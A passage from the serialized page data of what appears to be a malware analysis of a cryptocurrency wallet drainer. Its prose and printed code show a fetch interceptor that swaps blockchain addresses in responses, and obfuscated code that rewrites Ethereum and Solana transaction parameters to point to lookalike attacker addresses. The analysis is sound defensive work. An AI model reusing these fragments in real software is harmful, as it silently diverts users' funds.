\"eth_accounts\"\n",{"type":26,"tag":475,"props":97036,"children":97037},{"class":477,"line":558},[97038],{"type":26,"tag":475,"props":97039,"children":97040},{"style":499},[97041],{"type":32,"value":31957},{"type":26,"tag":475,"props":97043,"children":97044},{"class":477,"line":582},[97045,97049,97053,97058,97062,97066,97070,97074],{"type":26,"tag":475,"props":97046,"children":97047},{"style":586},[97048],{"type":32,"value":11988},{"type":26,"tag":475,"props":97050,"children":97051},{"style":499},[97052],{"type":32,"value":2775},{"type":26,"tag":475,"props":97054,"children":97055},{"style":2375},[97056],{"type":32,"value":97057},"_0x124ed3",{"type":26,"tag":475,"props":97059,"children":97060},{"style":499},[97061],{"type":32,"value":353},{"type":26,"tag":475,"props":97063,"children":97064},{"style":2375},[97065],{"type":32,"value":8215},{"type":26,"tag":475,"props":97067,"children":97068},{"style":714},[97069],{"type":32,"value":13901},{"type":26,"tag":475,"props":97071,"children":97072},{"style":903},[97073],{"type":32,"value":2752},{"type":26,"tag":475,"props":97075,"children":97076},{"style":499},[97077],{"type":32,"value":676},{"type":26,"tag":475,"props":97079,"children":97080},{"class":477,"line":596},[97081,97086],{"type":26,"tag":475,"props":97082,"children":97083},{"style":493},[97084],{"type":32,"value":97085}," runmask",{"type":26,"tag":475,"props":97087,"children":97088},{"style":499},[97089],{"type":32,"value":3376},{"type":26,"tag":475,"props":97091,"children":97092},{"class":477,"line":610},[97093,97097,97101,97106,97110,97114],{"type":26,"tag":475,"props":97094,"children":97095},{"style":586},[97096],{"type":32,"value":38978},{"type":26,"tag":475,"props":97098,"children":97099},{"style":499},[97100],{"type":32,"value":2775},{"type":26,"tag":475,"props":97102,"children":97103},{"style":2375},[97104],{"type":32,"value":97105},"rund",{"type":26,"tag":475,"props":97107,"children":97108},{"style":714},[97109],{"type":32,"value":64079},{"type":26,"tag":475,"props":97111,"children":97112},{"style":903},[97113],{"type":32,"value":4234},{"type":26,"tag":475,"props":97115,"children":97116},{"style":499},[97117],{"type":32,"value":676},{"type":26,"tag":475,"props":97119,"children":97120},{"class":477,"line":650},[97121,97126,97130,97134],{"type":26,"tag":475,"props":97122,"children":97123},{"style":2375},[97124],{"type":32,"value":97125}," rund",{"type":26,"tag":475,"props":97127,"children":97128},{"style":714},[97129],{"type":32,"value":2383},{"type":26,"tag":475,"props":97131,"children":97132},{"style":903},[97133],{"type":32,"value":4234},{"type":26,"tag":475,"props":97135,"children":97136},{"style":499},[97137],{"type":32,"value":2729},{"type":26,"tag":475,"props":97139,"children":97140},{"class":477,"line":679},[97141,97146,97150,97154],{"type":26,"tag":475,"props":97142,"children":97143},{"style":2375},[97144],{"type":32,"value":97145}," neth",{"type":26,"tag":475,"props":97147,"children":97148},{"style":714},[97149],{"type":32,"value":2383},{"type":26,"tag":475,"props":97151,"children":97152},{"style":903},[97153],{"type":32,"value":4234},{"type":26,"tag":475,"props":97155,"children":97156},{"style":499},[97157],{"type":32,"value":2729},{"type":26,"tag":475,"props":97159,"children":97160},{"class":477,"line":735},[97161,97166],{"type":26,"tag":475,"props":97162,"children":97163},{"style":493},[97164],{"type":32,"value":97165}," newdlocal",{"type":26,"tag":475,"props":97167,"children":97168},{"style":499},[97169],{"type":32,"value":3376},{"type":26,"tag":475,"props":97171,"children":97172},{"class":477,"line":744},[97173],{"type":26,"tag":475,"props":97174,"children":97175},{"style":499},[97176],{"type":32,"value":12372},{"type":26,"tag":475,"props":97178,"children":97179},{"class":477,"line":753},[97180,97184,97188,97192,97196,97200,97204,97208],{"type":26,"tag":475,"props":97181,"children":97182},{"style":499},[97183],{"type":32,"value":15484},{"type":26,"tag":475,"props":97185,"children":97186},{"style":586},[97187],{"type":32,"value":3023},{"type":26,"tag":475,"props":97189,"children":97190},{"style":586},[97191],{"type":32,"value":15493},{"type":26,"tag":475,"props":97193,"children":97194},{"style":499},[97195],{"type":32,"value":2775},{"type":26,"tag":475,"props":97197,"children":97198},{"style":2375},[97199],{"type":32,"value":97105},{"type":26,"tag":475,"props":97201,"children":97202},{"style":714},[97203],{"type":32,"value":64079},{"type":26,"tag":475,"props":97205,"children":97206},{"style":903},[97207],{"type":32,"value":4234},{"type":26,"tag":475,"props":97209,"children":97210},{"style":499},[97211],{"type":32,"value":676},{"type":26,"tag":475,"props":97213,"children":97214},{"class":477,"line":761},[97215,97220,97224,97228],{"type":26,"tag":475,"props":97216,"children":97217},{"style":2375},[97218],{"type":32,"value":97219}," rund",{"type":26,"tag":475,"props":97221,"children":97222},{"style":714},[97223],{"type":32,"value":2383},{"type":26,"tag":475,"props":97225,"children":97226},{"style":903},[97227],{"type":32,"value":4234},{"type":26,"tag":475,"props":97229,"children":97230},{"style":499},[97231],{"type":32,"value":2729},{"type":26,"tag":475,"props":97233,"children":97234},{"class":477,"line":770},[97235,97240],{"type":26,"tag":475,"props":97236,"children":97237},{"style":493},[97238],{"type":32,"value":97239}," newdlocal",{"type":26,"tag":475,"props":97241,"children":97242},{"style":499},[97243],{"type":32,"value":3376},{"type":26,"tag":475,"props":97245,"children":97246},{"class":477,"line":794},[97247],{"type":26,"tag":475,"props":97248,"children":97249},{"style":499},[97250],{"type":32,"value":851},{"type":26,"tag":475,"props":97252,"children":97253},{"class":477,"line":831},[97254],{"type":26,"tag":475,"props":97255,"children":97256},{"style":499},[97257],{"type":32,"value":5585},{"type":26,"tag":475,"props":97259,"children":97260},{"class":477,"line":845},[97261],{"type":26,"tag":475,"props":97262,"children":97263},{"style":499},[97264],{"type":32,"value":3607},{"type":26,"tag":181,"props":97266,"children":97267},{"start":516},[97268],{"type":26,"tag":86,"props":97269,"children":97270},{},[97271],{"type":32,"value":97272},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":26,"tag":465,"props":97274,"children":97276},{"code":97275,"language":2334,"meta":7,"className":2332,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[97277],{"type":26,"tag":53,"props":97278,"children":97279},{"__ignoreMap":7},[97280,97315,97372,97434,97449,97486,97525,97540,97579,97586,97619,97635,97694,97732,97757,97782,97806,97813,97828],{"type":26,"tag":475,"props":97281,"children":97282},{"class":477,"line":478},[97283,97287,97291,97295,97299,97303,97307,97311],{"type":26,"tag":475,"props":97284,"children":97285},{"style":493},[97286],{"type":32,"value":33791},{"type":26,"tag":475,"props":97288,"children":97289},{"style":714},[97290],{"type":32,"value":2383},{"type":26,"tag":475,"props":97292,"children":97293},{"style":482},[97294],{"type":32,"value":36059},{"type":26,"tag":475,"props":97296,"children":97297},{"style":482},[97298],{"type":32,"value":37907},{"type":26,"tag":475,"props":97300,"children":97301},{"style":499},[97302],{"type":32,"value":2775},{"type":26,"tag":475,"props":97304,"children":97305},{"style":714},[97306],{"type":32,"value":9300},{"type":26,"tag":475,"props":97308,"children":97309},{"style":2375},[97310],{"type":32,"value":37921},{"type":26,"tag":475,"props":97312,"children":97313},{"style":499},[97314],{"type":32,"value":676},{"type":26,"tag":475,"props":97316,"children":97317},{"class":477,"line":516},[97318,97322,97327,97331,97335,97340,97344,97348,97352,97356,97360,97364,97368],{"type":26,"tag":475,"props":97319,"children":97320},{"style":482},[97321],{"type":32,"value":35883},{"type":26,"tag":475,"props":97323,"children":97324},{"style":2375},[97325],{"type":32,"value":97326}," originalResponse",{"type":26,"tag":475,"props":97328,"children":97329},{"style":714},[97330],{"type":32,"value":2383},{"type":26,"tag":475,"props":97332,"children":97333},{"style":586},[97334],{"type":32,"value":2388},{"type":26,"tag":475,"props":97336,"children":97337},{"style":2375},[97338],{"type":32,"value":97339}," originalFetch",{"type":26,"tag":475,"props":97341,"children":97342},{"style":499},[97343],{"type":32,"value":353},{"type":26,"tag":475,"props":97345,"children":97346},{"style":493},[97347],{"type":32,"value":37989},{"type":26,"tag":475,"props":97349,"children":97350},{"style":499},[97351],{"type":32,"value":626},{"type":26,"tag":475,"props":97353,"children":97354},{"style":482},[97355],{"type":32,"value":17400},{"type":26,"tag":475,"props":97357,"children":97358},{"style":499},[97359],{"type":32,"value":637},{"type":26,"tag":475,"props":97361,"children":97362},{"style":714},[97363],{"type":32,"value":9300},{"type":26,"tag":475,"props":97365,"children":97366},{"style":2375},[97367],{"type":32,"value":37921},{"type":26,"tag":475,"props":97369,"children":97370},{"style":499},[97371],{"type":32,"value":3533},{"type":26,"tag":475,"props":97373,"children":97374},{"class":477,"line":539},[97375,97379,97384,97388,97392,97396,97401,97405,97409,97413,97418,97422,97426,97430],{"type":26,"tag":475,"props":97376,"children":97377},{"style":482},[97378],{"type":32,"value":35883},{"type":26,"tag":475,"props":97380,"children":97381},{"style":2375},[97382],{"type":32,"value":97383}," contentType",{"type":26,"tag":475,"props":97385,"children":97386},{"style":714},[97387],{"type":32,"value":2383},{"type":26,"tag":475,"props":97389,"children":97390},{"style":2375},[97391],{"type":32,"value":97326},{"type":26,"tag":475,"props":97393,"children":97394},{"style":499},[97395],{"type":32,"value":353},{"type":26,"tag":475,"props":97397,"children":97398},{"style":2375},[97399],{"type":32,"value":97400},"headers",{"type":26,"tag":475,"props":97402,"children":97403},{"style":499},[97404],{"type":32,"value":353},{"type":26,"tag":475,"props":97406,"children":97407},{"style":493},[97408],{"type":32,"value":16057},{"type":26,"tag":475,"props":97410,"children":97411},{"style":499},[97412],{"type":32,"value":626},{"type":26,"tag":475,"props":97414,"children":97415},{"style":629},[97416],{"type":32,"value":97417},"'Content-Type'",{"type":26,"tag":475,"props":97419,"children":97420},{"style":499},[97421],{"type":32,"value":2794},{"type":26,"tag":475,"props":97423,"children":97424},{"style":714},[97425],{"type":32,"value":22127},{"type":26,"tag":475,"props":97427,"children":97428},{"style":629},[97429],{"type":32,"value":31539},{"type":26,"tag":475,"props":97431,"children":97432},{"style":499},[97433],{"type":32,"value":2729},{"type":26,"tag":475,"props":97435,"children":97436},{"class":477,"line":548},[97437,97441,97445],{"type":26,"tag":475,"props":97438,"children":97439},{"style":482},[97440],{"type":32,"value":2372},{"type":26,"tag":475,"props":97442,"children":97443},{"style":2375},[97444],{"type":32,"value":14810},{"type":26,"tag":475,"props":97446,"children":97447},{"style":499},[97448],{"type":32,"value":2729},{"type":26,"tag":475,"props":97450,"children":97451},{"class":477,"line":558},[97452,97456,97460,97465,97469,97473,97477,97482],{"type":26,"tag":475,"props":97453,"children":97454},{"style":586},[97455],{"type":32,"value":31094},{"type":26,"tag":475,"props":97457,"children":97458},{"style":499},[97459],{"type":32,"value":2775},{"type":26,"tag":475,"props":97461,"children":97462},{"style":2375},[97463],{"type":32,"value":97464},"contentType",{"type":26,"tag":475,"props":97466,"children":97467},{"style":499},[97468],{"type":32,"value":353},{"type":26,"tag":475,"props":97470,"children":97471},{"style":493},[97472],{"type":32,"value":34876},{"type":26,"tag":475,"props":97474,"children":97475},{"style":499},[97476],{"type":32,"value":626},{"type":26,"tag":475,"props":97478,"children":97479},{"style":629},[97480],{"type":32,"value":97481},"'application/json'",{"type":26,"tag":475,"props":97483,"children":97484},{"style":499},[97485],{"type":32,"value":34889},{"type":26,"tag":475,"props":97487,"children":97488},{"class":477,"line":582},[97489,97493,97497,97501,97505,97509,97513,97517,97521],{"type":26,"tag":475,"props":97490,"children":97491},{"style":2375},[97492],{"type":32,"value":42921},{"type":26,"tag":475,"props":97494,"children":97495},{"style":714},[97496],{"type":32,"value":2383},{"type":26,"tag":475,"props":97498,"children":97499},{"style":586},[97500],{"type":32,"value":2388},{"type":26,"tag":475,"props":97502,"children":97503},{"style":2375},[97504],{"type":32,"value":97326},{"type":26,"tag":475,"props":97506,"children":97507},{"style":499},[97508],{"type":32,"value":353},{"type":26,"tag":475,"props":97510,"children":97511},{"style":493},[97512],{"type":32,"value":15126},{"type":26,"tag":475,"props":97514,"children":97515},{"style":499},[97516],{"type":32,"value":29871},{"type":26,"tag":475,"props":97518,"children":97519},{"style":493},[97520],{"type":32,"value":2489},{"type":26,"tag":475,"props":97522,"children":97523},{"style":499},[97524],{"type":32,"value":3376},{"type":26,"tag":475,"props":97526,"children":97527},{"class":477,"line":596},[97528,97532,97536],{"type":26,"tag":475,"props":97529,"children":97530},{"style":499},[97531],{"type":32,"value":31168},{"type":26,"tag":475,"props":97533,"children":97534},{"style":586},[97535],{"type":32,"value":3023},{"type":26,"tag":475,"props":97537,"children":97538},{"style":499},[97539],{"type":32,"value":579},{"type":26,"tag":475,"props":97541,"children":97542},{"class":477,"line":610},[97543,97547,97551,97555,97559,97563,97567,97571,97575],{"type":26,"tag":475,"props":97544,"children":97545},{"style":2375},[97546],{"type":32,"value":42921},{"type":26,"tag":475,"props":97548,"children":97549},{"style":714},[97550],{"type":32,"value":2383},{"type":26,"tag":475,"props":97552,"children":97553},{"style":586},[97554],{"type":32,"value":2388},{"type":26,"tag":475,"props":97556,"children":97557},{"style":2375},[97558],{"type":32,"value":97326},{"type":26,"tag":475,"props":97560,"children":97561},{"style":499},[97562],{"type":32,"value":353},{"type":26,"tag":475,"props":97564,"children":97565},{"style":493},[97566],{"type":32,"value":15126},{"type":26,"tag":475,"props":97568,"children":97569},{"style":499},[97570],{"type":32,"value":29871},{"type":26,"tag":475,"props":97572,"children":97573},{"style":493},[97574],{"type":32,"value":32},{"type":26,"tag":475,"props":97576,"children":97577},{"style":499},[97578],{"type":32,"value":3376},{"type":26,"tag":475,"props":97580,"children":97581},{"class":477,"line":650},[97582],{"type":26,"tag":475,"props":97583,"children":97584},{"style":499},[97585],{"type":32,"value":5585},{"type":26,"tag":475,"props":97587,"children":97588},{"class":477,"line":679},[97589,97593,97598,97602,97607,97611,97615],{"type":26,"tag":475,"props":97590,"children":97591},{"style":482},[97592],{"type":32,"value":35883},{"type":26,"tag":475,"props":97594,"children":97595},{"style":2375},[97596],{"type":32,"value":97597}," processedData",{"type":26,"tag":475,"props":97599,"children":97600},{"style":714},[97601],{"type":32,"value":2383},{"type":26,"tag":475,"props":97603,"children":97604},{"style":493},[97605],{"type":32,"value":97606}," replaceAddresses",{"type":26,"tag":475,"props":97608,"children":97609},{"style":499},[97610],{"type":32,"value":626},{"type":26,"tag":475,"props":97612,"children":97613},{"style":2375},[97614],{"type":32,"value":3408},{"type":26,"tag":475,"props":97616,"children":97617},{"style":499},[97618],{"type":32,"value":3533},{"type":26,"tag":475,"props":97620,"children":97621},{"class":477,"line":735},[97622,97626,97631],{"type":26,"tag":475,"props":97623,"children":97624},{"style":482},[97625],{"type":32,"value":35883},{"type":26,"tag":475,"props":97627,"children":97628},{"style":2375},[97629],{"type":32,"value":97630}," finalResponseText",{"type":26,"tag":475,"props":97632,"children":97633},{"style":714},[97634],{"type":32,"value":35551},{"type":26,"tag":475,"props":97636,"children":97637},{"class":477,"line":744},[97638,97643,97647,97651,97656,97661,97665,97669,97673,97677,97681,97685,97690],{"type":26,"tag":475,"props":97639,"children":97640},{"style":482},[97641],{"type":32,"value":97642}," typeof",{"type":26,"tag":475,"props":97644,"children":97645},{"style":2375},[97646],{"type":32,"value":97597},{"type":26,"tag":475,"props":97648,"children":97649},{"style":714},[97650],{"type":32,"value":31122},{"type":26,"tag":475,"props":97652,"children":97653},{"style":629},[97654],{"type":32,"value":97655}," 'string'",{"type":26,"tag":475,"props":97657,"children":97658},{"style":714},[97659],{"type":32,"value":97660}," ?",{"type":26,"tag":475,"props":97662,"children":97663},{"style":2375},[97664],{"type":32,"value":97597},{"type":26,"tag":475,"props":97666,"children":97667},{"style":714},[97668],{"type":32,"value":34811},{"type":26,"tag":475,"props":97670,"children":97671},{"style":2375},[97672],{"type":32,"value":37222},{"type":26,"tag":475,"props":97674,"children":97675},{"style":499},[97676],{"type":32,"value":353},{"type":26,"tag":475,"props":97678,"children":97679},{"style":493},[97680],{"type":32,"value":38924},{"type":26,"tag":475,"props":97682,"children":97683},{"style":499},[97684],{"type":32,"value":626},{"type":26,"tag":475,"props":97686,"children":97687},{"style":2375},[97688],{"type":32,"value":97689},"processedData",{"type":26,"tag":475,"props":97691,"children":97692},{"style":499},[97693],{"type":32,"value":3533},{"type":26,"tag":475,"props":97695,"children":97696},{"class":477,"line":753},[97697,97701,97706,97710,97714,97719,97723,97728],{"type":26,"tag":475,"props":97698,"children":97699},{"style":482},[97700],{"type":32,"value":35883},{"type":26,"tag":475,"props":97702,"children":97703},{"style":2375},[97704],{"type":32,"value":97705}," finalResponse",{"type":26,"tag":475,"props":97707,"children":97708},{"style":714},[97709],{"type":32,"value":2383},{"type":26,"tag":475,"props":97711,"children":97712},{"style":482},[97713],{"type":32,"value":31633},{"type":26,"tag":475,"props":97715,"children":97716},{"style":493},[97717],{"type":32,"value":97718}," Response",{"type":26,"tag":475,"props":97720,"children":97721},{"style":499},[97722],{"type":32,"value":626},{"type":26,"tag":475,"props":97724,"children":97725},{"style":2375},[97726],{"type":32,"value":97727},"finalResponseText",{"type":26,"tag":475,"props":97729,"children":97730},{"style":499},[97731],{"type":32,"value":2407},{"type":26,"tag":475,"props":97733,"children":97734},{"class":477,"line":761},[97735,97740,97744,97748,97753],{"type":26,"tag":475,"props":97736,"children":97737},{"style":2375},[97738],{"type":32,"value":97739}," status:",{"type":26,"tag":475,"props":97741,"children":97742},{"style":2375},[97743],{"type":32,"value":97326},{"type":26,"tag":475,"props":97745,"children":97746},{"style":499},[97747],{"type":32,"value":353},{"type":26,"tag":475,"props":97749,"children":97750},{"style":2375},[97751],{"type":32,"value":97752},"status",{"type":26,"tag":475,"props":97754,"children":97755},{"style":499},[97756],{"type":32,"value":2425},{"type":26,"tag":475,"props":97758,"children":97759},{"class":477,"line":770},[97760,97765,97769,97773,97778],{"type":26,"tag":475,"props":97761,"children":97762},{"style":2375},[97763],{"type":32,"value":97764}," statusText:",{"type":26,"tag":475,"props":97766,"children":97767},{"style":2375},[97768],{"type":32,"value":97326},{"type":26,"tag":475,"props":97770,"children":97771},{"style":499},[97772],{"type":32,"value":353},{"type":26,"tag":475,"props":97774,"children":97775},{"style":2375},[97776],{"type":32,"value":97777},"statusText",{"type":26,"tag":475,"props":97779,"children":97780},{"style":499},[97781],{"type":32,"value":2425},{"type":26,"tag":475,"props":97783,"children":97784},{"class":477,"line":794},[97785,97790,97794,97798,97802],{"type":26,"tag":475,"props":97786,"children":97787},{"style":2375},[97788],{"type":32,"value":97789}," headers:",{"type":26,"tag":475,"props":97791,"children":97792},{"style":2375},[97793],{"type":32,"value":97326},{"type":26,"tag":475,"props":97795,"children":97796},{"style":499},[97797],{"type":32,"value":353},{"type":26,"tag":475,"props":97799,"children":97800},{"style":2375},[97801],{"type":32,"value":97400},{"type":26,"tag":475,"props":97803,"children":97804},{"style":499},[97805],{"type":32,"value":2425},{"type":26,"tag":475,"props":97807,"children":97808},{"class":477,"line":831},[97809],{"type":26,"tag":475,"props":97810,"children":97811},{"style":499},[97812],{"type":32,"value":2450},{"type":26,"tag":475,"props":97814,"children":97815},{"class":477,"line":845},[97816,97820,97824],{"type":26,"tag":475,"props":97817,"children":97818},{"style":586},[97819],{"type":32,"value":38891},{"type":26,"tag":475,"props":97821,"children":97822},{"style":2375},[97823],{"type":32,"value":97705},{"type":26,"tag":475,"props":97825,"children":97826},{"style":499},[97827],{"type":32,"value":2729},{"type":26,"tag":475,"props":97829,"children":97830},{"class":477,"line":854},[97831],{"type":26,"tag":475,"props":97832,"children":97833},{"style":499},[97834],{"type":32,"value":16283},{"type":26,"tag":181,"props":97836,"children":97837},{"start":539},[97838],{"type":26,"tag":86,"props":97839,"children":97840},{},[97841],{"type":32,"value":97842},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":26,"tag":465,"props":97844,"children":97846},{"code":97845,"language":2334,"meta":7,"className":2332,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[97847],{"type":26,"tag":53,"props":97848,"children":97849},{"__ignoreMap":7},[97850,97929,97940,97997,98037,98062,98077,98088,98122,98155,98174,98201,98209,98220,98260,98289,98317,98324,98364,98407,98451,98466,98505,98512,98536,98543],{"type":26,"tag":475,"props":97851,"children":97852},{"class":477,"line":478},[97853,97857,97861,97866,97870,97874,97878,97883,97887,97892,97896,97901,97905,97909,97913,97917,97921,97925],{"type":26,"tag":475,"props":97854,"children":97855},{"style":586},[97856],{"type":32,"value":15285},{"type":26,"tag":475,"props":97858,"children":97859},{"style":499},[97860],{"type":32,"value":2775},{"type":26,"tag":475,"props":97862,"children":97863},{"style":2375},[97864],{"type":32,"value":97865},"_0x2c3d7e",{"type":26,"tag":475,"props":97867,"children":97868},{"style":499},[97869],{"type":32,"value":353},{"type":26,"tag":475,"props":97871,"children":97872},{"style":2375},[97873],{"type":32,"value":38006},{"type":26,"tag":475,"props":97875,"children":97876},{"style":714},[97877],{"type":32,"value":31122},{"type":26,"tag":475,"props":97879,"children":97880},{"style":629},[97881],{"type":32,"value":97882}," 'eth_sendTransaction'",{"type":26,"tag":475,"props":97884,"children":97885},{"style":714},[97886],{"type":32,"value":13892},{"type":26,"tag":475,"props":97888,"children":97889},{"style":2375},[97890],{"type":32,"value":97891}," _0x2c3d7e",{"type":26,"tag":475,"props":97893,"children":97894},{"style":499},[97895],{"type":32,"value":353},{"type":26,"tag":475,"props":97897,"children":97898},{"style":2375},[97899],{"type":32,"value":97900},"params",{"type":26,"tag":475,"props":97902,"children":97903},{"style":714},[97904],{"type":32,"value":13892},{"type":26,"tag":475,"props":97906,"children":97907},{"style":2375},[97908],{"type":32,"value":97891},{"type":26,"tag":475,"props":97910,"children":97911},{"style":499},[97912],{"type":32,"value":353},{"type":26,"tag":475,"props":97914,"children":97915},{"style":2375},[97916],{"type":32,"value":97900},{"type":26,"tag":475,"props":97918,"children":97919},{"style":499},[97920],{"type":32,"value":3440},{"type":26,"tag":475,"props":97922,"children":97923},{"style":903},[97924],{"type":32,"value":3732},{"type":26,"tag":475,"props":97926,"children":97927},{"style":499},[97928],{"type":32,"value":40312},{"type":26,"tag":475,"props":97930,"children":97931},{"class":477,"line":516},[97932,97936],{"type":26,"tag":475,"props":97933,"children":97934},{"style":586},[97935],{"type":32,"value":96969},{"type":26,"tag":475,"props":97937,"children":97938},{"style":499},[97939],{"type":32,"value":579},{"type":26,"tag":475,"props":97941,"children":97942},{"class":477,"line":539},[97943,97947,97952,97956,97961,97965,97969,97973,97977,97981,97985,97989,97993],{"type":26,"tag":475,"props":97944,"children":97945},{"style":482},[97946],{"type":32,"value":51359},{"type":26,"tag":475,"props":97948,"children":97949},{"style":2375},[97950],{"type":32,"value":97951}," _0x39ad21",{"type":26,"tag":475,"props":97953,"children":97954},{"style":714},[97955],{"type":32,"value":2383},{"type":26,"tag":475,"props":97957,"children":97958},{"style":493},[97959],{"type":32,"value":97960}," _0x1089ae",{"type":26,"tag":475,"props":97962,"children":97963},{"style":499},[97964],{"type":32,"value":626},{"type":26,"tag":475,"props":97966,"children":97967},{"style":2375},[97968],{"type":32,"value":97865},{"type":26,"tag":475,"props":97970,"children":97971},{"style":499},[97972],{"type":32,"value":353},{"type":26,"tag":475,"props":97974,"children":97975},{"style":2375},[97976],{"type":32,"value":97900},{"type":26,"tag":475,"props":97978,"children":97979},{"style":499},[97980],{"type":32,"value":3440},{"type":26,"tag":475,"props":97982,"children":97983},{"style":903},[97984],{"type":32,"value":3732},{"type":26,"tag":475,"props":97986,"children":97987},{"style":499},[97988],{"type":32,"value":22769},{"type":26,"tag":475,"props":97990,"children":97991},{"style":482},[97992],{"type":32,"value":3703},{"type":26,"tag":475,"props":97994,"children":97995},{"style":499},[97996],{"type":32,"value":3533},{"type":26,"tag":475,"props":97998,"children":97999},{"class":477,"line":548},[98000,98005,98009,98013,98017,98021,98025,98029,98033],{"type":26,"tag":475,"props":98001,"children":98002},{"style":2375},[98003],{"type":32,"value":98004}," _0x2c3d7e",{"type":26,"tag":475,"props":98006,"children":98007},{"style":499},[98008],{"type":32,"value":353},{"type":26,"tag":475,"props":98010,"children":98011},{"style":2375},[98012],{"type":32,"value":97900},{"type":26,"tag":475,"props":98014,"children":98015},{"style":499},[98016],{"type":32,"value":3440},{"type":26,"tag":475,"props":98018,"children":98019},{"style":903},[98020],{"type":32,"value":3732},{"type":26,"tag":475,"props":98022,"children":98023},{"style":499},[98024],{"type":32,"value":1699},{"type":26,"tag":475,"props":98026,"children":98027},{"style":714},[98028],{"type":32,"value":786},{"type":26,"tag":475,"props":98030,"children":98031},{"style":2375},[98032],{"type":32,"value":97951},{"type":26,"tag":475,"props":98034,"children":98035},{"style":499},[98036],{"type":32,"value":2729},{"type":26,"tag":475,"props":98038,"children":98039},{"class":477,"line":558},[98040,98044,98048,98052,98057],{"type":26,"tag":475,"props":98041,"children":98042},{"style":499},[98043],{"type":32,"value":31168},{"type":26,"tag":475,"props":98045,"children":98046},{"style":586},[98047],{"type":32,"value":661},{"type":26,"tag":475,"props":98049,"children":98050},{"style":499},[98051],{"type":32,"value":2775},{"type":26,"tag":475,"props":98053,"children":98054},{"style":2375},[98055],{"type":32,"value":98056},"_0x226343",{"type":26,"tag":475,"props":98058,"children":98059},{"style":499},[98060],{"type":32,"value":98061},") {}\n",{"type":26,"tag":475,"props":98063,"children":98064},{"class":477,"line":582},[98065,98069,98073],{"type":26,"tag":475,"props":98066,"children":98067},{"style":499},[98068],{"type":32,"value":46567},{"type":26,"tag":475,"props":98070,"children":98071},{"style":586},[98072],{"type":32,"value":3023},{"type":26,"tag":475,"props":98074,"children":98075},{"style":499},[98076],{"type":32,"value":579},{"type":26,"tag":475,"props":98078,"children":98079},{"class":477,"line":596},[98080,98084],{"type":26,"tag":475,"props":98081,"children":98082},{"style":586},[98083],{"type":32,"value":31094},{"type":26,"tag":475,"props":98085,"children":98086},{"style":499},[98087],{"type":32,"value":78195},{"type":26,"tag":475,"props":98089,"children":98090},{"class":477,"line":610},[98091,98096,98100,98104,98108,98112,98117],{"type":26,"tag":475,"props":98092,"children":98093},{"style":499},[98094],{"type":32,"value":98095}," (",{"type":26,"tag":475,"props":98097,"children":98098},{"style":2375},[98099],{"type":32,"value":97865},{"type":26,"tag":475,"props":98101,"children":98102},{"style":499},[98103],{"type":32,"value":353},{"type":26,"tag":475,"props":98105,"children":98106},{"style":2375},[98107],{"type":32,"value":38006},{"type":26,"tag":475,"props":98109,"children":98110},{"style":714},[98111],{"type":32,"value":31122},{"type":26,"tag":475,"props":98113,"children":98114},{"style":629},[98115],{"type":32,"value":98116}," 'solana_signTransaction'",{"type":26,"tag":475,"props":98118,"children":98119},{"style":714},[98120],{"type":32,"value":98121}," ||\n",{"type":26,"tag":475,"props":98123,"children":98124},{"class":477,"line":650},[98125,98130,98134,98138,98142,98147,98151],{"type":26,"tag":475,"props":98126,"children":98127},{"style":2375},[98128],{"type":32,"value":98129}," _0x2c3d7e",{"type":26,"tag":475,"props":98131,"children":98132},{"style":499},[98133],{"type":32,"value":353},{"type":26,"tag":475,"props":98135,"children":98136},{"style":2375},[98137],{"type":32,"value":38006},{"type":26,"tag":475,"props":98139,"children":98140},{"style":714},[98141],{"type":32,"value":31122},{"type":26,"tag":475,"props":98143,"children":98144},{"style":629},[98145],{"type":32,"value":98146}," 'solana_signAndSendTransaction'",{"type":26,"tag":475,"props":98148,"children":98149},{"style":499},[98150],{"type":32,"value":2794},{"type":26,"tag":475,"props":98152,"children":98153},{"style":714},[98154],{"type":32,"value":83437},{"type":26,"tag":475,"props":98156,"children":98157},{"class":477,"line":679},[98158,98162,98166,98170],{"type":26,"tag":475,"props":98159,"children":98160},{"style":2375},[98161],{"type":32,"value":98004},{"type":26,"tag":475,"props":98163,"children":98164},{"style":499},[98165],{"type":32,"value":353},{"type":26,"tag":475,"props":98167,"children":98168},{"style":2375},[98169],{"type":32,"value":97900},{"type":26,"tag":475,"props":98171,"children":98172},{"style":714},[98173],{"type":32,"value":52375},{"type":26,"tag":475,"props":98175,"children":98176},{"class":477,"line":735},[98177,98181,98185,98189,98193,98197],{"type":26,"tag":475,"props":98178,"children":98179},{"style":2375},[98180],{"type":32,"value":98004},{"type":26,"tag":475,"props":98182,"children":98183},{"style":499},[98184],{"type":32,"value":353},{"type":26,"tag":475,"props":98186,"children":98187},{"style":2375},[98188],{"type":32,"value":97900},{"type":26,"tag":475,"props":98190,"children":98191},{"style":499},[98192],{"type":32,"value":3440},{"type":26,"tag":475,"props":98194,"children":98195},{"style":903},[98196],{"type":32,"value":3732},{"type":26,"tag":475,"props":98198,"children":98199},{"style":499},[98200],{"